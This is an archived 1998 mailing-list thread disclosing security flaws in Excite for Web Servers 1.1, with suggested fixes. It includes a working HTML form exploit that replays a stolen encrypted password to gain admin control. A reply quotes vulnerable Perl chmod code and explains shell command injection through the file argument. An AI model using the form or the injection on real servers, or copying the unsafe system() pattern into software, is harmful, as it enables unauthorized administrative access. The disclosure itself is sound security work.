TUCoPS :: Web :: General

TUCoPS :: Web :: General :: ews11.txt
Security bugs in Excite for Web Servers 1.1


[ http://www.rootshell.com/ ]

Date:         Mon, 30 Nov 1998 17:20:04 -0600
From:         Michael Gerdts <gerdts@CAE.WISC.EDU>
Subject:      Security bugs in Excite for Web Servers 1.1

On November 11 I reported the folloing problmes to ewsbugs@excite.com.  I
have only recieved an automated reply.

I have found numerous security concerns with EWS 1.1 which can lead to an
ordinary user being able to gain control over EWS.

Problem: The installation program installs several files with world-write
    permissions.  This is bad because one of them (Architext.conf)
    contains the encrypted password which is used for all authentication.
    Because of this, any user with shell or non-anonymous FTP access
    to the web server could modify the encrypted password.

Solution: At install time, ask the administrator for the username or uid
    that CGI scripts are run as.  Make the excite installation directory
    restrictive enough such that only this user can get into the directory
    and make sure that no files are world-writable.  Because of other
    concerns (such as dictionary attacks) this file should not be
    world-readable.

Problem: All authentication after the initial access to AT-admin.cgi relies
    solely on the encrypted password.  Since any user with shell or FTP
    access can read Architext.conf, it is trivial for local users to
    gain administrative privileges over EWS.  Thus, a user only needs to
    have a web page that looks like:

        <html> <head><title>exploit</title>
        <body>
        <p><FORM ACTION="http://EWS.SERVER.COM/cgi-bin/AT-generate.cgi" METHOD=POST>
        <INPUT TYPE="hidden" NAME="db" VALUE="personal">
        <INPUT TYPE="submit" NAME="Reload" VALUE="Reload">
        Reload this page, in case the log file or status  has changed.
        <INPUT TYPE="hidden" NAME="Dump" VALUE="dummy">
        <INPUT TYPE="hidden" NAME="File" VALUE="/usr/local/etc/excite/collections/AT-personal.prog">
        <INPUT TYPE="hidden" NAME="Type" VALUE="progress">
        <INPUT TYPE="hidden" NAME="ENCRYPTEDPASS" VALUE="ENCRYPTEDPASS">
        </FORM><BR>
        </body>
        </html>

    Of course you should replace EWS.SERVER.COM and ENCRYPTEDPASS with
    values that make sense for your situation.  By accessing this page
    and clicking on the button you get to a menu that behaves exactly
    as if you knew the unencrypted password.

Solution: I am not an expert in web security.  There certainly must be
    better solutions.

Problem:  Passwords are not encrypted properly.  Note that the first
    two characters of the encrypted password are always the first two
    characters of the plain-text password.  For example, if you choose
    the password "blah", the encrypted password is "blk1x.w.ISlDw".

    In light of the fact that the plain-text password is not needed for
    adminstrative control (above), this problem is not that significant.
    Since this same password may be used other places it should be
    protected better.  If a dictionary attack for the password is
    done, only those words that start with "bl" need be examined.
    If a brute force attack is used, the number of guesses goes down
    significantly

Solution:  Encrypt passwords using random salts.  Even using "aa" as the
    salt in every case would be more secure.

--
Michael Gerdts
UNIX Systems Administrator
Computer-Aided Engineering Center
University of Wisconsin - Madison

----------------------------------------------------------------------------

Date:         Tue, 1 Dec 1998 17:57:47 -0500
From:         Andrew Pitman <ap1@TORCH.ROWAN.EDU>
Subject:      Re: Security bugs in Excite for Web Servers 1.1

On Tue, 1 Dec 1998, Gurjeet Clair wrote:

> Today I saw <Michael Gerdts> say:
>
> > On November 11 I reported the folloing problmes to ewsbugs@excite.com.  I
> > have only recieved an automated reply.

Hmmmmm.....

>
> sub make_files_readwriteable {
>     local($files) = @_;
>     return 1 if ($ews_port eq 'NT');
>     return system("/bin/chmod a+rw $files"); <---- EVIL!
> }
>
> Ahh, theres the litte culprit right there! The "chmod a+rw $files".  Well
> one fix is to use "chmod 0600 $file" (i think u+rw) OR not use the system call

The problem (I think) is that user data ($files) is allowed to be parsed
by the shell before /bin/chmod touches it.  This is dangerous, since they
can make $files be something like "filename; some command here" or even
"`some command here`".  Under sh or bash, "some command here" _would_ get
run as the user the webserver is running as.....  I could be mistaken,
though, as I haven't looked at the rest of the source.  This kind of thing
would be OK if all non-alphanumeric, non-period, and non-dash characters
were filtered out using tr or some such.

> itself and use the built in perl functions to set permissions.  Of course this
> only creates the permissions as the user that the webserver runs as.

I question why the author didn't just use the Perl builtin function
chmod()....  Or, system with the fields separated by commas:

       system "/bin/chmod", "a+rw", $files;  # This would be OK since it
                                             # doesn't use sh.

At any rate, why was the file being made world writable anyway?

Andrew
--
  "The wonderful thing about standards is that there are so
   many to choose from."
                                        (Andrew S. Tanenbaum)
-------------------------------------------------------------
  Andrew Pitman                           MIS
  Unix System Administrator               Rowan University
-------------------------------------------------------------